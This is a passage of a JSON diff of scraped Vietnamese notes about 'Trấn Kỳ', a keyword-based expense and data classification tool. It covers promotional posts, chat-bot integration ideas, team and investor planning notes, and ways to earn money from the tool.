từ khoá `bún`, `bò`, và `bún bò`, và trong câu nhập có chữ `bún bò` thì chương trình sẽ hiểu đây là một từ chứ không nhận diện nhầm là có hai từ `bún` và `bò`.\r\n\r\n## Một từ khoá có thể thuộc về nhiều nhãn phân loại\r\nVí dụ, từ khoá `ăn trưa với` vừa có thể thuộc nhãn `Mối quan hệ`, vừa có thể thuộc nhãn `Thực phẩm`\r\n\r\n## Một số ví dụ về việc tích hợp Trấn Kỳ vào hệ thống\r\n### Nhập liệu từ Google Keep\r\nGoogle Keep là một phần mềm ghi chú rất phổ biến với mọi người. Nó:\r\n- Có trên iOS, Android và web\r\n- Mở rất nhanh và có thể mở trong tình trạng không có mạng\r\n- Đồng bộ nhanh chóng trên tất cả các thiết bị\r\n- Hoàn toàn miễn phí\r\n- Cho phép nhiều người cùng chỉnh sửa một ghi chú\r\n- Sử dụng giọng nói\r\n- Nhập số lượng lớn\r\n\r\nViệc có thể nhập liệu từ Google Keep sẽ giúp cho bạn có thể nhập nhanh những khoảng chi tiêu chung với khối lượng lớn vào lúc bạn không có đầu óc để phân loại, phù hợp cho gia đình, nhóm bạn, công ty những lúc chợ búa, du lịch, tổ chức sự kiện, v.v.\r\n\r\nHiện tại đã có sẵn plugin nhập dữ liệu từ Google Keep và tạo bảng phân loại trên Fibery. \r\n\r\n### Nhập liệu từ Discord, Slack\r\nDiscord và Slack là những phần mềm nhắn tin phổ biến cho cộng đồng hoặc tổ chức. Một server sẽ có nhiều kênh (channel) để việc thảo luận được tập trung, không bị lạc chủ đề quá nhiều. Thông thường, các bộ phận trong tổ chức sẽ có một kênh riêng.\r\n\r\nTrong quá trình thảo luận, thỉnh thoảng sẽ có những thông tin cần được phân loại và lưu vào hệ thống quản lý riêng, như quỹ hoặc công việc. Bạn có thể tạo bot để tự động gom các thông tin này ngay tại nơi thảo luận. Ví dụ:\r\n- `$ họp 70k` → Ghi vào trong sổ quỹ rằng 70000 VND đã được chi cho việc họp\r\n- `! sửa bug` → Ghi vào trong bảng tổng hợp công việc rằng cần sửa bug\r\n\r\nNhững thông tin như người nhập, kênh nhập cũng sẽ được ghi lại. Ví dụ, ghi `$ họp 70k` trong kênh Trấn Kỳ thì sẽ hiểu là lý do chi là để họp về Trấn Kỳ. Nhưng cũng với câu nhập đó trong kênh Cảo Thần thì sẽ hiểu là lý do chi là để họp về Cảo Thần.\r\n\r\n# Không chỉ mỗi phân loại thu chi\r\nThật ra, chương trình này không hẳn nên được đặt tên là \"Phân loại thu chi\", vì bạn còn có thể dùng nó để phân loại nhiều thứ khác. Ví dụ:\r\n\r\n* **Ý tưởng** : `Kĩ thuật viết văn %topic_Writing @tác_giả_a`\r\n* **Mối quan hệ** : `Gặp @ông_A bàn về việc X, có đi ăn ở !nhà_hàng_Y 200k ck vcb`\r\n* **Công việc** : `Công việc A cần giao cho @bạn_B liên hệ với @@đối_tác_C tại !quán_D với chi phí dự kiến 300k ck vcb và nhận output &&item_X`\r\n* **Cảm xúc** : `xem phim:Inception thấy chấn động`\r\n* **Sức khoẻ:** `chạy bộ 100m, hít đất 30 cái`\r\n\r\n# 👉 Link: tranky.deno.dev/cdddss\r\n\r\nhttps://www.facebook.com/quacau.sphere/posts/pfbid072iAT8Y3zdAP5L7VGiHkmxjxQfPapaozK8fpr64nQ4uVyaKerhv2j4uqd8KMWipvl\r\n\r\n![Máy phân loại tiền](https://daynhauhoc.s3.dualstack.ap-southeast-1.amazonaws.com/optimized/3X/3/0/3051a1b98cab382e9bcd3e5bccf81d2e973f3f17_2_1035x690.jpeg) \r\n![Google Keep to Fibery](https://daynhauhoc.s3.dualstack.ap-southeast-1.amazonaws.com/optimized/3X/9/9/99e14fce9d0bcda573db5aae334ad4e71bd2035f_2_1035x514.jpeg) \r\n![Giao diện khởi động](https://i.imgur.com/rBe2iQ9.png)\r\n\r\n---\r\n[[10-11]] Đăng trên [[Dạy Nhau Học]] \r\n[[10-11]] Đăng trên [[Tự học Data]] \r\n[[13-11]] chờ duyệt [Cộng đồng FOSS Việt Nam](https://www.facebook.com/groups/fossvietnam)\r\n[[03-02]] chờ duyệt [[J2TEAM]] \r\n[[04-02]] [[📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Khoa học dữ liệu]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5K" }, { - "Tiêu đề": "Freemium", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Chính sách giá/Freemium", + "Tiêu đề": "Truyền thông", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "[[SME, startup, khởi nghiệp]]\r\n[[ERP, no code, ]] \r\n[[Lập trình ]] \r\n\r\n----\r\n\r\n| Thành quả mong muốn | Giả thiết | Công việc |\r\n| ------------------------------------------------------ | ------------------------------------------------- | --------------------------------------- |\r\n| [[Mỗi tuần có 300 người vào trang giới thiệu Trấn Kỳ]] | [[Cứ 13 reach thì có 1 link click]] | [[Truyền thông\\|Đăng bài truyền thông]] |\r\n| [[Mỗi tuần tiếp cận được 4000 người]] | Cứ 1 người chia sẻ TK thì tiếp cận được 100 người | [[Truyền thông\\|Đăng bài truyền thông]] |\r\n\r\n\r\nĐối tượng: người cần tự do dữ liệu\r\n\r\n```dataview\r\nLIST \r\nFROM \"📐 Dự án/Trấn Kỳ/4 Thành phẩm/Truyền thông\" \r\nWHERE file.name!=this.file.name\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày tạo": "2023-10-31T09:59:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5L" }, { - "Tiêu đề": "Miễn phí", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Chính sách giá/Miễn phí", + "Tiêu đề": "Tạo tệp Excel tự động để nhập khẩu vào các phần mềm kế toán", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Tạo tệp Excel tự động để nhập khẩu vào các phần mềm kế toán", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "# Tạo tệp Excel tự động để nhập khẩu vào các phần mềm kế toán \r\nChia sẻ với mọi người một chương trình phân loại câu nhập mình mới viết. Ví dụ, với câu nhập đầu vào là:\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả \r\n```\r\n\r\nChương trình sẽ **tự động** phân loại kết quả vào các cột cho bạn:\r\n\r\n```\r\n| Cột | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\n\r\nTrên đây là một mẫu cho chi tiêu cá nhân. Với doanh nghiệp bạn có thể thay món đồ bằng hàng hoá, nguyên vật liệu, người thụ hưởng bằng khách hàng, v.v. Việc thêm, bớt các trường hoặc dùng cấu trúc phân loại riêng của doanh nghiệp bạn là hoàn toàn khả thi.\r\n\r\nVới việc này, bạn có thể nhanh chóng tạo các tệp Excel để nhập khẩu vào các chương trình kế toán mà không phải tạo thủ công từng cái một. **Người dùng không cần lo lắng về cấu trúc câu lệnh, chỉ cần khai báo từ khoá là được.**\r\n\r\nTìm **`Trấn Kỳ`** trên Google để xem demo của chương trình.\r\n\r\n[[Excel, AppScript]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5M" }, { - "Tiêu đề": "Nhập liệu bằng giọng nói", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập liệu bằng giọng nói", + "Tiêu đề": "Kiếm người kiếm tiền", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Đội ngũ/Kiếm người kiếm tiền", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n\r\n![Hisaab - A speech recognition based expense tracker - YouTube](https://youtu.be/mpWJ5klEHBU?si=xL5_y48jyk1zvQWo)\r\n[https://ibearsoft.com/talking-bills/](https://ibearsoft.com/talking-bills/ \"https://ibearsoft.com/talking-bills/\")\r\n![Voice Expense Tracker Demo - YouTube](https://youtu.be/yRCpRKB77Go?si=93ebG1BaD-FGFLAc)\r\n", + "Toàn bộ nội dung": "| Công việc | Thành quả mong muốn | Giả thiết |\r\n| ----------------------------------- | ------------------------------------------- | --------- |\r\n| [[PiPu]] | | |\r\n| Đăng bài tuyển người kiếm tiền | 1 người nhắn sau một tuần | |\r\n| Hỏi anh Quang | | |\r\n| Nghiên cứu hệ sinh thái khởi nghiệp | Biết được những người có hứng thú kiếm tiền | |\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5N" }, { - "Tiêu đề": "Nhập liệu được bằng file text", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập liệu được bằng file text", + "Tiêu đề": "Kế hoạch xây dựng đội ngũ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Đội ngũ/Kế hoạch xây dựng đội ngũ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Điều khiển dễ dàng bằng bàn phím]]\r\nĐồng thời có thêm tính năng:: [[Dùng được trên CLI]]\r\nĐồng thời có thêm tính năng:: [[Dữ liệu chương trình lưu dưới dạng tập tin]]\r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]],\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "[[Kế hoạch tập huấn cho người mới]] \r\nNhững người tham gia cùng nhìn vào kế hoạch để thảo luận chứ không phải là thấy nó phức tạp, nhức đầu, phí thời gian hoặc chỉ là ảo giác của một mình Nhật. Họ cũng chỉ đang sống trong ảo giác của họ thôi.\r\n\r\n[[Không cần kiếm thêm nhân sự khi không thấy quá nhiều việc]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-08-01T13:31:00.000Z", "id": "5O" }, { - "Tiêu đề": "Nhập liệu được trên Google Keep", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập liệu được trên Google Keep", + "Tiêu đề": "Mai Quang", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Đội ngũ/Mai Quang", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng:: [[Nhập được trên điện thoại]]\r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Nhập được trên web]]\r\nĐồng thời có thêm tính năng:: [[Nhập liệu bằng giọng nói]]\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "# Vì sao anh muốn phát triển nó? Tại sao thấy nó tiềm năng?\r\nNhu cầu tiềm năng là rất lớn. Viết trong giấy … thôi khỏi làm\r\ntest từng quán. khi nhập hàng, phát sinh chi phí. Note trong tin nhắn . Chi phí ko ghi nhận lại luôn. Canh vào số tiền họ thu được. Nhìn lướt khoảng khoảng 5tr. Đối với họ ko còn phải là painpoint nữa. Nhưng sau mọt thời gian nhìn lại thì ko có lời\r\n\r\nnhóm người dùng thứ 1: các vendor bán lẻ (không dùng pos, tính tay, nháp) \r\nnhóm 2: sinh viên, học sinh xa nhà. Kêu sử dụng thì chịu dùng. Nhu cầu cá nhân của anh khi du học ở Sing. Mỗi lần chi tiêu là xót\r\n\r\nCó dữ liệu thì có thể đưa ra những lời mời đầu tư, gửi tiết kiệm. Khi build trust từ họ thì dễ dàng hơn.\r\n\r\nmạnh hơn nữa thì có thể credit score\r\n# MoneyLover\r\ntrên 70% thì chưa dominate thì ko nên thm gia. \r\n\r\nsau 5 năm vẫn có 50k download → quá bé. Cạnh tranh ở đây là chiến lược, chọn ngách để đánh\r\ncạnh tranh trong việc chấp nhận rủi ro\r\n# Anh muốn nó được phát triển thế nào?\r\ncái này phải là build team, ko phải build product\r\nQuang: thấy phù hợp nhất là coreteam, pitching cho angel investor. tận dụng các mqh đầu tư trước cho anh\r\n5-15% coreteam member\r\n5 năm \r\nfounder: đánh giá, đưa ra quyết định tốt được >< emotional (anh Quang) \r\n\r\n\r\n- [ ] Anh thấy mình cần những gì để đạt hiệu quả?\r\n\t- [ ] Ngoài dưới 5% ra còn gì để anh ko muốn tham gia ko? \r\n\t- [ ] Anh thấy mình xứng đáng nhận được bao nhiêu %? \r\n- [ ] anh có thể tham gia họp bao lâu? \r\n- [ ] vì sao lúc đầu anh nói là muốn làm Sharktank\r\n- [ ] điều gì khiến anh muốn đáp ứng nhu cầu của họ\r\n- [ ] Nếu anh thấy nó tiềm năng, tại sao chưa có ai đầu tư vào như mình?\r\n- [ ] 1% anh nói là gì\r\n- [ ] Các nhà đầu tư đảm bảo mình không xù kèo thế nào?\r\n\r\n\r\n- Vì sao những cách phát triển khác anh không hứng thú?\r\n- Để nó đạt được điều anh muốn anh nghĩ nó cần những điều gì?\r\n- Đâu là mức anh nghĩ là không còn đáng để anh đầu tư?\r\n- Mức độ đầu tư vào các dự án phát triển bền vững không?\r\n- Anh có suy nghĩ gì về ý tưởng startup cộng đồng chưa?\r\n- Anh đã đầu tư bao nhiêu dự án rồi?\r\n- Có những dự án nào anh quyết định không đầu tư? Tại sao?\r\n- Có muốn nhận nhiều % hơn để đổi lấy một hợp đồng cho vay tốt\r\n\r\n\r\n- Muốn biết thêm về kế hoạch thì cứ ở trong nhóm\r\n- Muốn hỗ trợ đóng góp thì khi nào rảnh thì tham gia\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5P" }, { - "Tiêu đề": "Nhập liệu được trên Telegram", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập liệu được trên Telegram", + "Tiêu đề": "Nhật", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Đội ngũ/Nhật", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng:: [[Nhập được trên điện thoại]]\r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Nhập được trên web]]\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "[[Điều nhà đầu tư quan tâm và điều muốn nhà đầu tư quan tâm]]\r\n\r\n| Tiêu chí | Trọng số |\r\n| --------------------------------------------- | -------- |\r\n| [[Kendy cần gì\\|Giúp Trí hết căng thẳng]] | 70% |\r\n| Có thể linh hoạt hạn chót | 15% |\r\n| Thấy công việc giúp mở rộng thêm nhiều cơ hội | 15% |\r\n\r\n[[Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ]] \r\n[[Thịnh]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-08-01T13:33:00.000Z", "id": "5Q" }, { - "Tiêu đề": "Nhập được bằng tập tin bảng tính", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập được bằng tập tin bảng tính", + "Tiêu đề": "Thịnh", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Đội ngũ/Thịnh", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Nhập được trên máy tính]]\r\nĐồng thời có thêm tính năng:: [[Có GUI]]\r\nĐồng thời có thêm tính năng:: [[Tạo query phức tạp được]]\r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nĐồng thời có thêm tính năng:: [[Thêm được nhiều trường phân loại]]\r\nĐồng thời có thêm tính năng:: \r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "| Tiêu chí | Tiêu chí thành phần | Trọng số |\r\n| ----------------------------------- | ---------------------------------------------------------------------------------------------- | ---------- |\r\n| Có cơ hội hợp tác bền vững hiệu quả | | 100% |\r\n| | Đảm bảo lợi ích tài chính, tâm lý, sức khoẻ thành viên |   40% |\r\n| | Sử dụng ứng dụng được chiến lược hoặc ý tưởng của các bên và tạo ra giá trị trong thời điểm đó |   30% |\r\n| | Có nhiều đầu mối để học hỏi |   20% |\r\n| | Dành thời gian đủ lâu để tạo ra nhiều cơ hội phát triển, hiểu các mong đợi của các bên |   10% |\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5R" }, { - "Tiêu đề": "Nhập được trên máy tính", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập được trên máy tính", + "Tiêu đề": "Hệ thống chấm điểm cảm xúc (Game con bò)", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/9 Blog/Hệ thống chấm điểm cảm xúc (Game con bò)", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Loại chương trình:: [[Template thu chi trên Excel]]\r\nLoại chương trình:: [[Chương trình kế toán]]\r\nLoại chương trình:: [[Chương trình phân loại dữ liệu tự động]]\r\n\r\nĐáp ứng cho việc:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5S" }, { - "Tiêu đề": "Nhập được trên web", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập được trên web", + "Tiêu đề": "Kiếm tiền từ Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/9 Blog/Kiếm tiền từ Trấn Kỳ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "## Cách 1: làm nhập liệu cho các cá nhân, tổ chức cần thuê ngoài\r\nĐể một cá nhân, tổ chức cần thuê ngoài cần hội đủ các điều kiện sau đây:\r\n- Khách hàng cần phân loại, gắn nhãn, biến dữ liệu phi cấu trúc thành dữ liệu có cấu trúc\r\n- Khách hàng không tin tưởng kết quả phân loại của ChatGPT, hoặc thấy nó quá đắt hoặc bất tiện\r\n- Khách hàng không biết đến giải pháp phân loại tự động nào khác\r\n\r\nNgoài ra còn có thêm hai điều kiện về việc hợp tác thành công trên các trang tuyển dụng thời vụ tự do (freelance):\r\n- Khách hàng dành thời gian để đăng tin tuyển dụng \r\n- Những người rao bán dịch vụ nhập liệu như bạn không biết đến giải pháp phân loại tự động nào khác để bạn có thể cạnh tranh về giá\r\n\r\nNhư bạn thấy, càng nhiều điều kiện thì khả năng kiếm được tiền càng thấp đi. Càng bỏ được nhiều điều kiện, bạn càng có khả năng kiếm được tiền. \r\n\r\nĐể bỏ được hai điều kiện cuối cùng, bạn cần phải biết nhu cầu của khách hàng mà không cần họ phải đăng tin trên các trang tuyển dụng đó. Điều đó có thể xảy ra nếu:\r\n- Bạn thường xuyên theo dõi các thông báo tuyển dụng của họ trên website hoặc trang, nhóm Facebook\r\n- Bạn có sẵn mối quan hệ với họ, trực tiếp hoặc gián tiếp\r\n- Bạn chủ động nhắn tin hỏi về nhu cầu của họ\r\n- Bạn chủ động đăng tin sẵn sàng nhận làm việc này\r\n\r\n[Danh sách các công ty tuyển nhân viên nhập liệu](https://www.google.com/search?client=firefox-b-d&q=c%C3%B4ng+vi%E1%BB%87c+nh%E1%BA%ADp+li%E1%BB%87u&ibp=htl;jobs&sa=X&ved=2ahUKEwiutrePjqOEAxU3mVYBHTTIAR8Qkd0GegQIFRAB#fpstate=tldetail&htivrt=jobs&htiq=c%C3%B4ng+vi%E1%BB%87c+nh%E1%BA%ADp+li%E1%BB%87u&htidocid=omPcbeASS8_ch7MVAAAAAA%3D%3D&sxsrf=ACQVn0-AbylAiRPxZZKN5JAMa-LruGLo4w:1707648427622){ .md-button .md-button--primary }\r\n\r\n## Cách 2: xây dựng hệ thống quản lý và xử lý dữ liệu cho các cá nhân, tổ chức cần đáp ứng những luồng làm việc và suy nghĩ đặc thù\r\nNếu họ đã biết đến Trấn Kỳ thì bạn không còn làm cách 1 được nữa. Nhưng có thể họ vẫn cần một hệ thống quản lý và xử lý dữ liệu mà các giải pháp có sẵn trên thị trường không đáp ứng những luồng làm việc và suy nghĩ đặc thù của họ. \r\n\r\nCó hai loại công việc: [[Công việc khai phá và công việc khai thác]]. Công việc khai phá (exploration) là những công việc mà nếu ta chưa làm xong thì cũng không chắc lắm kết quả trông như thế nào, còn công việc khai thác (exploitation) là những công việc chưa làm cũng biết chính xác kết quả trông như thế nào. Công việc khai phá sử dụng dạng tư duy phi tuyến, và hợp với kiểu dữ liệu phi cấu trúc. Còn công việc khai thác sử dụng dạng tư duy tuyến tính, và hợp với kiểu dữ liệu có cấu trúc.\r\n\r\nBởi vì [[Công việc khai phá chính là quản lý kiến thức]], cho nên [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]]. Đây là thứ mà các hệ thống quản lý và xử lý dữ liệu có sẵn trên thị trường không đáp ứng được. Những người viết ra chúng tất nhiên cũng đã có những nghiên cứu khách hàng và cũng thiết kế nhiều lựa chọn để người dùng có thể tuỳ chỉnh ở một mức độ nào đó. Nếu không đáp ứng được nhu cầu đa số thì không thể nào giảm được chi phí sản phẩm cả. Tuy nhiên, sự dự đoán của các tác giả ấy về quy trình nghiệp vụ của một số khách hàng doanh nghiệp điển hình mà họ có thể nghĩ ra được cũng không thể nào bắt kịp được luồng làm việc và suy nghĩ thực tế của các cá nhân cụ thể. Mỗi người có một cách phân loại thông tin, yêu cầu về sự ngăn nắp thông tin, khối lượng thông tin và loại thông tin phải thường xuyên xử lý cũng khác nhau. Mỗi một luồng tư duy khác nhau có thể sẽ đòi hỏi những cách quản lý thông tin rất khác nhau. Và với một số người, cái mô đun quản lý kiến thức của chúng không gì chỉ làm cho có. Thà không dùng nó chứ dùng thì càng bực hơn. Các ERP này không đáp ứng nổi vai trò trở thành một [[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng|một giàn giáo nhận thức]] của họ. \r\n\r\nChưa kể, cái gọi là chi phí thấp ở đây chỉ là miễn phí trong một số ngày, một số tính năng hoặc đầu người. Nhưng thường thì có trả tiền để dùng thì những tính năng đó cũng không hướng đến việc trở thành một nơi để quản lý tất cả mọi thứ.\r\n\r\n![[Dùng ERP dựng sẵn.png]]\r\n\r\nBạn có thể đọc kỹ hơn về nhu cầu này trong bài [[Lý do viết Trấn Kỳ]]. \r\n\r\nĐây là một số thứ đáp ứng được nhu cầu này, mà trước đây không làm được vì không có một thư viện phân loại dữ liệu bằng tiếng Việt tự nhiên có sẵn nào:\r\n- [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý#Tổng hợp công việc hoặc quỹ ngay trên phòng chat (Discord, Slack)|Tổng hợp công việc hoặc quỹ ngay trên phòng chat (Discord, Slack)]]\r\n- [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý#Tự động tạo liên kết UTM cho việc tiếp thị trực tuyến|Tự động tạo liên kết UTM cho việc tiếp thị trực tuyến]]\r\n\r\nĐể làm được việc này cần hội đủ các điều kiện sau đây:\r\n- Họ cần một hệ thống có thể đáp ứng đúng luồng làm việc, suy nghĩ của mình\r\n- Họ thấy rằng các hệ 